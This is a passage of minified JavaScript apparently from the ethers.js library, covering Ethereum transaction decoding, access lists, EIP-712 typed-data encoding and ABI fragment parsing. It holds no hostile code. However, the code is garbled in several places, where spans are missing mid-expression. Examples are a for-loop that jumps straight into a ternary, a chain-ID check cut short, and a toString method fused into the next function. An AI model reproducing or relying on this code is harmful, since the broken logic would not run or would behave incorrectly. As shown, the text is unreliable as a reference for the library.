r&&(t[r]||(t[r]=0),t[r]++),t}),{});return this.coders.forEach(((r,n)=>{let A=r.localName;A&&1===e[A]&&(\"length\"===A&&(A=\"_length\"),null==t[A]&&(t[A]=t[n]))})),Object.freeze(t)}encode(t,e){const r=va.dereference(e,\"tuple\");return ba(t,this.coders,r)}decode(t){return ka(t,this.coders)}}function Oa(t){return no(aA(t))}function Ya(t,e){return{address:da(t),storageKeys:e.map(((t,e)=>(vn(Mn(t,32),\"invalid slot\",`storageKeys[${e}]`,t),t.toLowerCase())))}}function Ka(t){if(Array.isArray(t))return t.map(((e,r)=>Array.isArray(e)?(vn(2===e.length,\"invalid slot set\",`value[${r}]`,e),Ya(e[0],e[1])):(vn(null!=e&&\"object\"==typeof e,\"invalid address-slot set\",\"value\",t),Ya(e.address,e.storageKeys))));vn(null!=t&&\"object\"==typeof t,\"invalid access list\",\"value\",t);const e=Object.keys(t).map((e=>{const r=t[e].reduce(((t,e)=>(t[e]=!0,t)),{});return Ya(e,Object.keys(r).sort())}));return e.sort(((t,e)=>t.address.localeCompare(e.address))),e}function Ja(t){let e;return e=\"string\"==typeof t?ca.computePublicKey(t,!1):t.publicKey,da(no(\"0x\"+e.substring(4)).substring(26))}const ja=BigInt(0),za=BigInt(2),qa=BigInt(27),Xa=BigInt(28),Va=BigInt(35),Wa=BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");function Za(t){return\"0x\"===t?null:da(t)}function $a(t,e){try{return Ka(t)}catch(r){vn(!1,r.message,e,t)}}function tc(t,e){return\"0x\"===t?0:Wn(t,e)}function ec(t,e){if(\"0x\"===t)return ja;const r=zn(t,e);return vn(r<=Wa,\"value exceeds uint size\",e,r),r}function rc(t,e){const r=zn(t,\"value\"),n=$n(r);return vn(n.length<=32,\"value too large\",`tx.${e}`,r),n}function nc(t){return Ka(t).map((t=>[t.address,t.storageKeys]))}function Ac(t,e){vn(Array.isArray(t),`invalid ${e}`,\"value\",t);for(let e=0;e=0?2:t.pop()}inferTypes(){const t=null!=this.gasPrice,e=null!=this.maxFeePerGas||null!=this.maxPriorityFeePerGas,r=null!=this.accessList,n=null!=this.#R||this.#U;null!=this.maxFeePerGas&&null!=this.maxPriorityFeePerGas&&wn(this.maxFeePerGas>=this.maxPriorityFeePerGas,\"priorityFee cannot be more than maxFee\",\"BAD_DATA\",{value:this}),wn(!e||0!==this.type&&1!==this.type,\"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas\",\"BAD_DATA\",{value:this}),wn(0!==this.type||!r,\"legacy transaction cannot have accessList\",\"BAD_DATA\",{value:this});const A=[];return null!=this.type?A.push(this.type):e?A.push(2):t?(A.push(1),r||A.push(0)):r?(A.push(1),A.push(2)):(n&&this.to||(A.push(0),A.push(1),A.push(2)),A.push(3)),A.sort(),A}isLegacy(){return 0===this.type}isBerlin(){return 1===this.type}isLondon(){return 2===this.type}isCancun(){return 3===this.type}clone(){return hc.from(this)}toJSON(){const t=t=>null==t?null:t.toString();return{type:this.type,to:this.to,data:this.data,nonce:this.nonce,gasLimit:t(this.gasLimit),gasPrice:t(this.gasPrice),maxPriorityFeePerGas:t(this.maxPriorityFeePerGas),maxFeePerGas:t(this.maxFeePerGas),value:t(this.value),chainId:t(this.chainId),sig:this.signature?this.signature.toJSON():null,accessList:this.accessList}}static from(t){if(null==t)return new hc;if(\"string\"==typeof t){const e=Sn(t);if(e[0]>=127)return hc.from(function(t){const e=vA(t);vn(Array.isArray(e)&&(9===e.length||6===e.length),\"invalid field count for legacy transaction\",\"data\",t);const r={type:0,nonce:tc(e[0],\"nonce\"),gasPrice:ec(e[1],\"gasPrice\"),gasLimit:ec(e[2],\"gasLimit\"),to:Za(e[3]),value:ec(e[4],\"value\"),data:Pn(e[5]),chainId:ja};if(6===e.length)return r;const n=ec(e[6],\"v\"),A=ec(e[7],\"r\"),i=ec(e[8],\"s\");if(A===ja&&i===ja)r.chainId=n;else{let A=(n-Va)/za;A=0,\"invalid chain ID\",\"domain.chainId\",t),Number.isSafeInteger(e)?Number(e):function(t){let e=Pn(xn(t)?t:$n(t)).substring(2);for(;e.startsWith(\"0\");)e=e.substring(1);return\"\"===e&&(e=\"0\"),\"0x\"+e}(e)},verifyingContract:function(t){try{return da(t).toLowerCase()}catch(t){}vn(!1,'invalid domain value \"verifyingContract\"',\"domain.verifyingContract\",t)},salt:function(t){const e=Sn(t,\"domain.salt\");return vn(32===e.length,'invalid domain value \"salt\"',\"domain.salt\",t),Pn(e)}};function Ec(t){{const e=t.match(/^(u?)int(\\d+)$/);if(e){const r=\"\"===e[1],n=parseInt(e[2]);vn(n%8==0&&0!==n&&n<=256&&e[2]===String(n),\"invalid numeric width\",\"type\",t);const A=jn(pc,r?n-1:n),i=r?(A+fc)*uc:lc;return function(e){const n=zn(e,\"value\");return vn(n>=i&&n<=A,`value out-of-bounds for ${t}`,\"value\",n),Zn(r?Jn(n,256):n,32)}}}{const e=t.match(/^bytes(\\d+)$/);if(e){const r=parseInt(e[1]);return vn(0!==r&&r<=32&&e[1]===String(r),\"invalid bytes width\",\"type\",t),function(e){return vn(Sn(e).length===r,`invalid length for ${t}`,\"value\",e),function(t){const e=Sn(t),r=e.length%32;return r?Tn([e,gc.slice(r)]):Pn(e)}(e)}}}switch(t){case\"address\":return function(t){return Hn(da(t),32)};case\"bool\":return function(t){return t?dc:Ic};case\"bytes\":return function(t){return no(t)};case\"string\":return function(t){return Oa(t)}}return null}function wc(t,e){return`${t}(${e.map((({name:t,type:e})=>e+\" \"+t)).join(\",\")})`}function vc(t){const e=t.match(/^([^\\x5b]*)((\\x5b\\d*\\x5d)*)(\\x5b(\\d*)\\x5d)$/);return e?{base:e[1],index:e[2]+e[4],array:{base:e[1],prefix:e[1]+e[2],count:e[5]?parseInt(e[5]):-1}}:{base:t}}let _c=class t{primaryType;#G;get types(){return JSON.parse(this.#G)}#H;#L;constructor(t){this.#H=new Map,this.#L=new Map;const e=new Map,r=new Map,n=new Map,A={};Object.keys(t).forEach((i=>{A[i]=t[i].map((({name:e,type:r})=>{let{base:n,index:A}=vc(r);return\"int\"!==n||t.int||(n=\"int256\"),\"uint\"!==n||t.uint||(n=\"uint256\"),{name:e,type:n+(A||\"\")}})),e.set(i,new Set),r.set(i,[]),n.set(i,new Set)})),this.#G=JSON.stringify(A);for(const n in A){const i=new Set;for(const o of A[n]){vn(!i.has(o.name),`duplicate variable name ${JSON.stringify(o.name)} in ${JSON.stringify(n)}`,\"types\",t),i.add(o.name);const A=vc(o.type).base;vn(A!==n,`circular type reference to ${JSON.stringify(A)}`,\"types\",t);Ec(A)||(vn(r.has(A),`unknown type ${JSON.stringify(A)}`,\"types\",t),r.get(A).push(n),e.get(n).add(A))}}const i=Array.from(r.keys()).filter((t=>0===r.get(t).length));vn(0!==i.length,\"missing primary type\",\"types\",t),vn(1===i.length,`ambiguous primary types or unused types: ${i.map((t=>JSON.stringify(t))).join(\", \")}`,\"types\",t),yn(this,{primaryType:i[0]}),function A(i,o){vn(!o.has(i),`circular type reference to ${JSON.stringify(i)}`,\"types\",t),o.add(i);for(const t of e.get(i))if(r.has(t)){A(t,o);for(const e of o)n.get(e).add(t)}o.delete(i)}(this.primaryType,new Set);for(const[t,e]of n){const r=Array.from(e);r.sort(),this.#H.set(t,wc(t,A[t])+r.map((t=>wc(t,A[t]))).join(\"\"))}}getEncoder(t){let e=this.#L.get(t);return e||(e=this.#O(t),this.#L.set(t,e)),e}#O(t){{const e=Ec(t);if(e)return e}const e=vc(t).array;if(e){const t=e.prefix,r=this.getEncoder(t);return n=>{vn(-1===e.count||e.count===n.length,`array length mismatch; expected length ${e.count}`,\"value\",n);let A=n.map(r);return this.#H.has(t)&&(A=A.map(no)),no(Tn(A))}}const r=this.types[t];if(r){const e=Oa(this.#H.get(t));return t=>{const n=r.map((({name:e,type:r})=>{const n=this.getEncoder(r)(t[e]);return this.#H.has(r)?no(n):n}));return n.unshift(e),Tn(n)}}vn(!1,`unknown type: ${t}`,\"type\",t)}encodeType(t){const e=this.#H.get(t);return vn(e,`unknown type: ${JSON.stringify(t)}`,\"name\",t),e}encodeData(t,e){return this.getEncoder(t)(e)}hashStruct(t,e){return no(this.encodeData(t,e))}encode(t){return this.encodeData(this.primaryType,t)}hash(t){return this.hashStruct(this.primaryType,t)}_visit(t,e,r){if(Ec(t))return r(t,e);const n=vc(t).array;if(n)return vn(-1===n.count||n.count===e.length,`array length mismatch; expected length ${n.count}`,\"value\",e),e.map((t=>this._visit(n.prefix,t,r)));const A=this.types[t];if(A)return A.reduce(((t,{name:n,type:A})=>(t[n]=this._visit(A,e[n],r),t)),{});vn(!1,`unknown type: ${t}`,\"type\",t)}visit(t,e){return this._visit(this.primaryType,t,e)}static from(e){return new t(e)}static getPrimaryType(e){return t.from(e).primaryType}static hashStruct(e,r,n){return t.from(r).hashStruct(e,n)}static hashDomain(e){const r=[];for(const t in e){if(null==e[t])continue;const n=yc[t];vn(n,`invalid typed-data domain key: ${JSON.stringify(t)}`,\"domain\",e),r.push({name:t,type:n})}return r.sort(((t,e)=>Cc.indexOf(t.name)-Cc.indexOf(e.name))),t.hashStruct(\"EIP712Domain\",{EIP712Domain:r},e)}static encode(e,r,n){return Tn([\"0x1901\",t.hashDomain(e),t.from(r).hash(n)])}static hash(e,r,n){return no(t.encode(e,r,n))}static async resolveNames(e,r,n,A){e=Object.assign({},e);for(const t in e)null==e[t]&&delete e[t];const i={};e.verifyingContract&&!Mn(e.verifyingContract,20)&&(i[e.verifyingContract]=\"0x\");const o=t.from(r);o.visit(n,((t,e)=>(\"address\"!==t||Mn(e,20)||(i[e]=\"0x\"),e)));for(const t in i)i[t]=await A(t);return e.verifyingContract&&i[e.verifyingContract]&&(e.verifyingContract=i[e.verifyingContract]),{domain:e,value:n=o.visit(n,((t,e)=>\"address\"===t&&i[e]?i[e]:e))}}static getPayload(e,r,n){t.hashDomain(e);const A={},i=[];Cc.forEach((t=>{const r=e[t];null!=r&&(A[t]=Bc[t](r),i.push({name:t,type:yc[t]}))}));const o=t.from(r);r=o.types;const s=Object.assign({},r);return vn(null==s.EIP712Domain,\"types must not contain EIP712Domain type\",\"types.EIP712Domain\",r),s.EIP712Domain=i,o.encode(n),{types:s,domain:A,primaryType:o.primaryType,message:o.visit(n,((t,e)=>{if(t.match(/^bytes(\\d*)/))return Pn(Sn(e));if(t.match(/^u?int/))return zn(e).toString();switch(t){case\"address\":return e.toLowerCase();case\"bool\":return!!e;case\"string\":return vn(\"string\"==typeof e,\"invalid string\",\"value\",e),e}vn(!1,\"unsupported type\",\"type\",t)}))}}};function Qc(t){const e=new Set;return t.forEach((t=>e.add(t))),Object.freeze(e)}const bc=Qc(\"external public payable override\".split(\" \")),kc=\"constant external internal payable private public pure view override\",Dc=Qc(kc.split(\" \")),Sc=\"constructor error event fallback function receive struct\",Nc=Qc(Sc.split(\" \")),Mc=\"calldata memory storage payable indexed\",xc=Qc(Mc.split(\" \")),Fc=Qc([Sc,Mc,\"tuple returns\",kc].join(\" \").split(\" \")),Pc={\"(\":\"OPEN_PAREN\",\")\":\"CLOSE_PAREN\",\"[\":\"OPEN_BRACKET\",\"]\":\"CLOSE_BRACKET\",\",\":\"COMMA\",\"@\":\"AT\"},Tc=new RegExp(\"^(\\\\s*)\"),Rc=new RegExp(\"^([0-9]+)\"),Uc=new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)\"),Gc=new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)$\"),Hc=new RegExp(\"^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$\");class Lc{#f;#Y;get offset(){return this.#f}get length(){return this.#Y.length-this.#f}constructor(t){this.#f=0,this.#Y=t.slice()}clone(){return new Lc(this.#Y)}reset(){this.#f=0}#K(t=0,e=0){return new Lc(this.#Y.slice(t,e).map((e=>Object.freeze(Object.assign({},e,{match:e.match-t,linkBack:e.linkBack-t,linkNext:e.linkNext-t})))))}popKeyword(t){const e=this.peek();if(\"KEYWORD\"!==e.type||!t.has(e.text))throw new Error(`expected keyword ${e.text}`);return this.pop().text}popType(t){if(this.peek().type!==t){const e=this.peek();throw new Error(`expected ${t}; got ${e.type} ${JSON.stringify(e.text)}`)}return this.pop().text}popParen(){const t=this.peek();if(\"OPEN_PAREN\"!==t.type)throw new Error(\"bad start\");const e=this.#K(this.#f+1,t.match+1);return this.#f=t.match+1,e}popParams(){const t=this.peek();if(\"OPEN_PAREN\"!==t.type)throw new Error(\"bad start\");const e=[];for(;this.#f=this.#Y.length)throw new Error(\"out-of-bounds\");return this.#Y[this.#f]}peekKeyword(t){const e=this.peekType(\"KEYWORD\");return null!=e&&t.has(e)?e:null}peekType(t){if(0===this.length)return null;const e=this.peek();return e.type===t?e.text:null}pop(){const t=this.peek();return this.#f++,t}toString(){const t=[];for(let e=this.#f;e`}}function Oc(t){const e=[],r=e=>{const r=i0&&\"NUMBER\"===e[e.length-1].type){const r=e.pop().text;t=r+t,e[e.length-1].value=Wn(r)}if(0===e.length||\"BRACKET\"!==e[e.length-1].type)throw new Error(\"missing opening bracket\");e[e.length-1].text+=t}}else if(s=o.match(Uc),s){if(a.text=s[1],i+=a.text.length,Fc.has(a.text)){a.type=\"KEYWORD\";continue}if(a.text.match(Hc)){a.type=\"TYPE\";continue}a.type=\"ID\"}else{if(s=o.match(Rc),!s)throw new Error(`unexpected token ${JSON.stringify(o[0])} at position ${i}`);a.text=s[1],a.type=\"NUMBER\",i+=a.text.length}}return new Lc(e.map((t=>Object.freeze(t))))}function Yc(t,e){let r=[];for(const n in e.keys())t.has(n)&&r.push(n);if(r.length>1)throw new Error(`conflicting types: ${r.join(\", \")}`)}function Kc(t,e){if(e.peekKeyword(Nc)){const r=e.pop().text;if(r!==t)throw new Error(`expected ${t}, got ${r}`)}return e.popType(\"ID\")}function Jc(t,e){const r=new Set;for(;;){const n=t.peekType(\"KEYWORD\");if(null==n||e&&!e.has(n))break;if(t.pop(),r.has(n))throw new Error(`duplicate keywords: ${JSON.stringify(n)}`);r.add(n)}return Object.freeze(r)}function jc(t){let e=Jc(t,Dc);return Yc(e,Qc(\"constant payable nonpayable\".split(\" \"))),Yc(e,Qc(\"pure view payable nonpayable\".split(\" \"))),e.has(\"view\")?\"view\":e.has(\"pure\")?\"pure\":e.has(\"payable\")?\"payable\":e.has(\"nonpayable\")?\"nonpayable\":e.has(\"constant\")?\"view\":\"nonpayable\"}function zc(t,e){return t.popParams().map((t=>sh.from(t,e)))}function qc(t){if(t.peekType(\"AT\")){if(t.pop(),t.peekType(\"NUMBER\"))return zn(t.pop().text);throw new Error(\"invalid gas\")}return null}function Xc(t){if(t.length)throw new Error(`unexpected tokens at offset ${t.offset}: ${t.toString()}`)}const Vc=new RegExp(/^(.*)\\[([0-9]*)\\]$/);function Wc(t){const e=t.match(Hc);if(vn(e,\"invalid type\",\"type\",t),\"uint\"===t)return\"uint256\";if(\"int\"===t)return\"int256\";if(e[2]){const r=parseInt(e[2]);vn(0!==r&&r<=32,\"invalid bytes length\",\"type\",t)}else if(e[3]){const r=parseInt(e[3]);vn(0!==r&&r<=256&&r%8==0,\"invalid numeric width\",\"type\",t)}return t}const Zc={},$c=Symbol.for(\"_ethers_internal\"),th=\"_ParamTypeInternal\",eh=\"_ErrorInternal\",rh=\"_EventInternal\",nh=\"_ConstructorInternal\",Ah=\"_FallbackInternal\",ih=\"_FunctionInternal\",oh=\"_StructInternal\";class sh{name;type;baseType;indexed;components;arrayLength;arrayChildren;constructor(t,e,r,n,A,i,o,s){if(kn(t,Zc,\"ParamType\"),Object.defineProperty(this,$c,{value:th}),i&&(i=Object.freeze(i.slice())),\"array\"===n){if(null==o||null==s)throw new Error(\"\")}else if(null!=o||null!=s)throw new Error(\"\");if(\"tuple\"===n){if(null==i)throw new Error(\"\")}else if(null!=i)throw new Error(\"\");yn(this,{name:e,type:r,baseType:n,indexed:A,components:i,arrayLength:o,arrayChildren:s})}format(t){if(null==t&&(t=\"sighash\"),\"json\"===t){const e=this.name||\"\";if(this.isArray()){const t=JSON.parse(this.arrayChildren.format(\"json\"));return t.name=e,t.type+=`[${this.arrayLength<0?\"\":String(this.arrayLength)}]`,JSON.stringify(t)}const r={type:\"tuple\"===this.baseType?\"tuple\":this.type,name:e};return\"boolean\"==typeof this.indexed&&(r.indexed=this.indexed),this.isTuple()&&(r.components=this.components.map((e=>JSON.parse(e.format(t))))),JSON.stringify(r)}let e=\"\";return this.isArray()?(e+=this.arrayChildren.format(t),e+=`[${this.arrayLength<0?\"\":String(this.arrayLength)}]`):this.isTuple()?e+=\"(\"+this.components.map((e=>e.format(t))).join(\"full\"===t?\", \":\",\")+\")\":e+=this.type,\"sighash\"!==t&&(!0===this.indexed&&(e+=\" indexed\"),\"full\"===t&&this.name&&(e+=\" \"+this.name)),e}isArray(){return\"array\"===this.baseType}isTuple(){return\"tuple\"===this.baseType}isIndexable(){return null!=this.indexed}walk(t,e){if(this.isArray()){if(!Array.isArray(t))throw new Error(\"invalid array value\");if(-1!==this.arrayLength&&t.length!==this.arrayLength)throw new Error(\"array is wrong length\");const r=this;return t.map((t=>r.arrayChildren.walk(t,e)))}if(this.isTuple()){if(!Array.isArray(t))throw new Error(\"invalid tuple value\");if(t.length!==this.components.length)throw new Error(\"array is wrong length\");const r=this;return t.map(((t,n)=>r.components[n].walk(t,e)))}return e(this.type,t)}#J(t,e,r,n){if(this.isArray()){if(!Array.isArray(e))throw new Error(\"invalid array value\");if(-1!==this.arrayLength&&e.length!==this.arrayLength)throw new Error(\"array is wrong length\");const A=this.arrayChildren,i=e.slice();return i.forEach(((e,n)=>{A.#J(t,e,r,(t=>{i[n]=t}))})),void n(i)}if(this.isTuple()){const A=this.components;let i;if(Array.isArray(e))i=e.slice();else{if(null==e||\"object\"!=typeof e)throw new Error(\"invalid tuple value\");i=A.map((t=>{if(!t.name)throw new Error(\"cannot use object value with unnamed components\");if(!(t.name in e))throw new Error(`missing value for component ${t.name}`);return e[t.name]}))}if(i.length!==this.components.length)throw new Error(\"array is wrong length\");return i.forEach(((e,n)=>{A[n].#J(t,e,r,(t=>{i[n]=t}))})),void n(i)}const A=r(this.type,e);A.then?t.push(async function(){n(await A)}()):n(A)}async walkAsync(t,e){const r=[],n=[t];return this.#J(r,t,e,(t=>{n[0]=t})),r.length&&await Promise.all(r),n[0]}static from(t,e){if(sh.isParamType(t))return t;if(\"string\"==typeof t)try{return sh.from(Oc(t),e)}catch(e){vn(!1,\"invalid param type\",\"obj\",t)}else if(t instanceof Lc){let r=\"\",n=\"\",A=null;Jc(t,Qc([\"tuple\"])).has(\"tuple\")||t.peekType(\"OPEN_PAREN\")?(n=\"tuple\",A=t.popParams().map((t=>sh.from(t))),r=`tuple(${A.map((t=>t.format())).join(\",\")})`):(r=Wc(t.popType(\"TYPE\")),n=r);let i=null,o=null;for(;t.length&&t.peekType(\"BRACKET\");){const e=t.pop();i=new sh(Zc,\"\",r,n,null,A,o,i),o=e.value,r+=e.text,n=\"array\",A=null}let s=null;if(Jc(t,xc).has(\"indexed\")){if(!e)throw new Error(\"\");s=!0}const a=t.peekType(\"ID\")?t.pop().text:\"\";if(t.length)throw new Error(\"leftover tokens\");return new sh(Zc,a,r,n,s,A,o,i)}const r=t.name;vn(!r||\"string\"==typeof r&&r.match(Gc),\"invalid name\",\"obj.name\",r);let n=t.indexed;null!=n&&(vn(e,\"parameter cannot be indexed\",\"obj.indexed\",t.indexed),n=!!n);let A=t.type,i=A.match(Vc);if(i){const e=parseInt(i[2]||\"-1\"),o=sh.from({type:i[1],components:t.components});return new sh(Zc,r||\"\",A,\"array\",n,null,e,o)}if(\"tuple\"===A||A.startsWith(\"tuple(\")||A.startsWith(\"(\")){const e=null!=t.components?t.components.map((t=>sh.from(t))):null;return new sh(Zc,r||\"\",A,\"tuple\",n,e,null,null)}return A=Wc(t.type),new sh(Zc,r||\"\",A,A,n,null,null,null)}static isParamType(t){return t&&t[$c]===th}}class ah{type;inputs;constructor(t,e,r){kn(t,Zc,\"Fragment\"),yn(this,{type:e,inputs:r=Object.freeze(r.slice())})}static from(t){if(\"string\"==typeof t){try{ah.from(JSON.parse(t))}catch(t){}return ah.from(Oc(t))}if(t instanceof Lc){switch(t.peekKeyword(Nc)){case\"constructor\":return lh.from(t);case\"error\":return gh.from(t);case\"event\":return uh.from(t);case\"fallback\":case\"receive\":return fh.from(t);case\"function\":return ph.from(t);case\"struct\":return dh.from(t)}}else if(\"object\"==typeof t){switch(t.type){case\"constructor\":return lh.from(t);case\"error\":return gh.from(t);case\"event\":return uh.from(t);case\"fallback\":case\"receive\":return fh.from(t);case\"function\":return ph.from(t);case\"struct\":return dh.from(t)}wn(!1,`unsupported type: ${t.type}`,\"UNSUPPORTED_OPERATION\",{operation:\"Fragment.from\"})}vn(!1,\"unsupported frgament object\",\"obj\",t)}static isConstructor(t){return lh.isFragment(t)}static isError(t){return gh.isFragment(t)}static isEvent(t){return uh.isFragment(t)}static isFunction(t){return ph.isFragment(t)}static isStruct(t){return dh.isFragment(t)}}class ch extends ah{name;constructor(t,e,r,n){super(t,e,n),vn(\"string\"==typeof r&&r.match(Gc),\"invalid identifier\",\"name\",r),n=Object.freeze(n.slice()),yn(this,{name:r})}}function hh(t,e){return\"(\"+e.map((e=>e.format(t))).join(\"full\"===t?\", \":\",\")+\")\"}class gh extends ch{constructor(t,e,r){super(t,\"error\",e,r),Object.defineProperty(this,$c,{value:eh})}get selector(){return Oa(this.format(\"sighash\")).substring(0,10)}format(t){if(null==t&&(t=\"sighash\"),\"json\"===t)return JSON.stringify({type:\"error\",name:this.name,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});const e=[];return\"sighash\"!==t&&e.push(\"error\"),e.push(this.name+hh(t,this.inputs)),e.join(\" \")}static from(t){if(gh.isFragment(t))return t;if(\"string\"==typeof t)return gh.from(Oc(t));if(t instanceof Lc){const e=Kc(\"error\",t),r=zc(t);return Xc(t),new gh(Zc,e,r)}return new gh(Zc,t.name,t.inputs?t.inputs.map(sh.from):[])}static isFragment(t){return t&&t[$c]===eh}}class uh extends ch{anonymous;constructor(t,e,r,n){super(t,\"event\",e,r),Object.defineProperty(this,$c,{value:rh}),yn(this,{anonymous:n})}get topicHash(){return Oa(this.format(\"sighash\"))}format(t){if(null==t&&(t=\"sighash\"),\"json\"===t)return JSON.stringify({type:\"event\",anonymous:this.anonymous,name:this.name,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});const e=[];return\"sighash\"!==t&&e.push(\"event\"),e.push(this.name+hh(t,this.inputs)),\"sighash\"!==t&&this.anonymous&&e.push(\"anonymous\"),e.join(\" \")}static getTopicHash(t,e){e=(e||[]).map((t=>sh.from(t)));return new uh(Zc,t,e,!1).topicHash}static from(t){if(uh.isFragment(t))return t;if(\"string\"==typeof t)try{return uh.from(Oc(t))}catch(e){vn(!1,\"invalid event fragment\",\"obj\",t)}else if(t instanceof Lc){const e=Kc(\"event\",t),r=zc(t,!0),n=!!Jc(t,Qc([\"anonymous\"])).has(\"anonymous\");return Xc(t),new uh(Zc,e,r,n)}return new uh(Zc,t.name,t.inputs?t.inputs.map((t=>sh.from(t,!0))):[],!!t.anonymous)}static isFragment(t){return t&&t[$c]===rh}}class lh extends ah{payable;gas;constructor(t,e,r,n,A){super(t,e,r),Object.defineProperty(this,$c,{value:nh}),yn(this,{payable:n,gas:A})}format(t){if(wn(null!=t&&\"sighash\"!==t,\"cannot format a constructor for sighash\",\"UNSUPPORTED_OPERATION\",{operation:\"format(sighash)\"}),\"json\"===t)return JSON.stringify({type:\"constructor\",stateMutability:this.payable?\"payable\":\"undefined\",payable:this.payable,gas:null!=this.gas?this.gas:void 0,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});const e=[`constructor${hh(t,this.inputs)}`];return this.payable&&e.push(\"payable\"),null!=this.gas&&e.push(`@${this.gas.toString()}`),e.join(\" \")}static from(t){if(lh.isFragment(t))return t;if(\"string\"==typeof t)try{return lh.from(Oc(t))}catch(e){vn(!1,\"invalid constuctor fragment\",\"obj\",t)}else if(t instanceof Lc){Jc(t,Qc([\"constructor\"]));const e=zc(t),r=!!Jc(t,bc).has(\"payable\"),n=qc(t);return Xc(t),new lh(Zc,\"constructor\",e,r,n)}return new lh(Zc,\"constructor\",t.inputs?t.inputs.map(sh.from):[],!!t.payable,null!=t.gas?t.gas:null)}static isFragment(t){return t&&t[$c]===nh}}class fh extends ah{payable;constructor(t,e,r){super(t,\"fallback\",e),Object.defineProperty(this,$c,{value:Ah}),yn(this,{payable:r})}format(t){const e=0===this.inputs.length?\"receive\":\"fallback\";if(\"json\"===t){const t=this.payable?\"payable\":\"nonpayable\";return JSON.stringify({type:e,stateMutability:t})}return`${e}()${this.payable?\" payable\":\"\"}`}static from(t){if(fh.isFragment(t))return t;if(\"string\"==typeof t)try{return fh.from(Oc(t))}catch(e){vn(!1,\"invalid fallback fragment\",\"obj\",t)}else if(t instanceof Lc){const e=t.toString();vn(t.peekKeyword(Qc([\"fallback\",\"receive\"])),\"type must be fallback or receive\",\"obj\",e);if(\"receive\"===t.popKeyword(Qc([\"fallback\",\"receive\"]))){const e=zc(t);return vn(0===e.length,\"receive cannot have arguments\",\"obj.inputs\",e),Jc(t,Qc([\"payable\"])),Xc(t),new fh(Zc,[],!0)}let r=zc(t);r.length?vn(1===r.length&&\"bytes\"===r[0].type,\"invalid fallback inputs\",\"obj.inputs\",r.map((t=>t.format(\"minimal\"))).join(\", \")):r=[sh.from(\"bytes\")];const n=jc(t);if(vn(\"nonpayable\"===n||\"payable\"===n,\"fallback cannot be constants\",\"obj.stateMutability\",n),Jc(t,Qc([\"returns\"])).has(\"returns\")){const e=zc(t);vn(1===e.length&&\"bytes\"===e[0].type,\"invalid fallback outputs\",\"obj.outputs\",e.map((t=>t.format(\"minimal\"))).join(\", \"))}return Xc(t),new fh(Zc,r,\"payable\"===n)}if(\"receive\"===t.type)return new fh(Zc,[],!0);if(\"fallback\"===t.type){const e=[sh.from(\"bytes\")],r=\"payable\"===t.stateMutability;return new fh(Zc,e,r)}vn(!1,\"invalid fallback description\",\"obj\",t)}static isFragment(t){return t&&t[$c]===Ah}}class ph extends ch{constant;outputs;stateMutability;payable;gas;constructor(t,e,r,n,A,i){super(t,\"function\",e,n),Object.defineProperty(this,$c,{value:ih});yn(this,{constant:\"view\"===r||\"pure\"===r,gas:i,outputs:A=Object.freeze(A.slice()),payable:\"payable\"===r,stateMutability:r})}get selector(){return Oa(this.format(\"sighash\")).substring(0,10)}format(t){if(null==t&&(t=\"sighash\"),\"json\"===t)return JSON.stringify({type:\"function\",name:this.name,constant:this.constant,stateMutability:\"nonpayable\"!==this.stateMutability?this.stateMutability:void 0,payable:this.payable,gas:null!=this.gas?this.gas:void 0,inputs:this.inputs.map((e=>JSON.parse(e.format(t)))),outputs:this.outputs.map((e=>JSON.parse(e.format(t))))});const e=[];return\"sighash\"!==t&&e.push(\"function\"),e.push(this.name+hh(t,this.inputs)),\"sighash\"!==t&&(\"nonpayable\"!==this.stateMutability&&e.push(this.stateMutability),this.outputs&&this.outputs.length&&(e.push(\"returns\"),e.push(hh(t,this.outputs))),null!=this.gas&&e.push(`@${this.gas.toString()}`)),e.join(\" \")}static getSelector(t,e){e=(e||[]).map((t=>sh.from(t)));return new ph(Zc,t,\"view\",e,[],null).selector}static from(t){if(ph.isFragment(t))return t;if(\"string\"==typeof t)try{return ph.from(Oc(t))}catch(e){vn(!1,\"invalid function fragment\",\"obj\",t)}else if(t instanceof Lc){const e=Kc(\"function\",t),r=zc(t),n=jc(t);let A=[];Jc(t,Qc([\"returns\"])).has(\"returns\")&&(A=zc(t));const i=qc(t);return Xc(t),new ph(Zc,e,n,r,A,i)}let e=t.stateMutability;return null==e&&(e=\"payable\",\"boolean\"==typeof t.constant?(e=\"view\",t.constant||(e=\"payable\",\"boolean\"!=typeof t.payable||t.payable||(e=\"nonpayable\"))):\"boolean\"!=typeof t.payable||t.payable||(e=\"nonpayable\")),new ph(Zc,t.name,e,t.inputs?t.inputs.map(sh.from):[],t.outputs?t.outputs.map(sh.from):[],null!=t.gas?t.gas:null)}static isFragment(t){return t&&t[$c]===ih}}class dh extends ch{constructor(t,e,r){super(t,\"struct\",e,r),Object.defineProperty(this,$c,{value:oh})}format(){throw new Error(\"@TODO\")}static from(t){if(\"string\"==typeof t)try{return dh.from(Oc(t))}catch(e){vn(!1,\"invalid struct fragment\",\"obj\",t)}else if(t instanceof Lc){const e=Kc(\"struct\",t),r=zc(t);return Xc(t),new dh(Zc,e,r)}return new dh(Zc,t.name,t.inputs?t.inputs.map(sh.from):[])}static isFragment(t){return t&&t[$c]===oh}}const Ih=new Map;Ih.set(0,\"GENERIC_PANIC\"),Ih.set(1,\"ASSERT_FALSE\"),Ih.set(17,\"OVERFLOW\"),Ih.set(18,\"DIVIDE_BY_ZERO\"),Ih.set(33,\"ENUM_RANGE_ERROR\"),Ih.set(34,\"BAD_STORAGE_DATA\"),Ih.set(49,\"STACK_UNDERFLOW\"),Ih.set(50,\"ARRAY_RANGE_ERROR\"),Ih.set(65,\"OUT_OF_MEMORY\"),Ih.set(81,\"UNINITIALIZED_FUNCTION_CALL\");const yh=new RegExp(/^bytes([0-9]*)$/),Ch=new RegExp(/^(u?int)([0-9]*)$/);let mh=null,Bh=1024;class Eh{#j(t){if(t.isArray())return new Da(this.#j(t.arrayChildren),t.arrayLength,t.name);if(t.isTuple())return new La(t.components.map((t=>this.#j(t))),t.name);switch(t.baseType){case\"address\":return new _a(t.name);case\"bool\":return new Sa(t.name);case\"string\":return new Ha(t.name);case\"bytes\":return new Ma(t.name);case\"\":return new Pa(t.name)}let 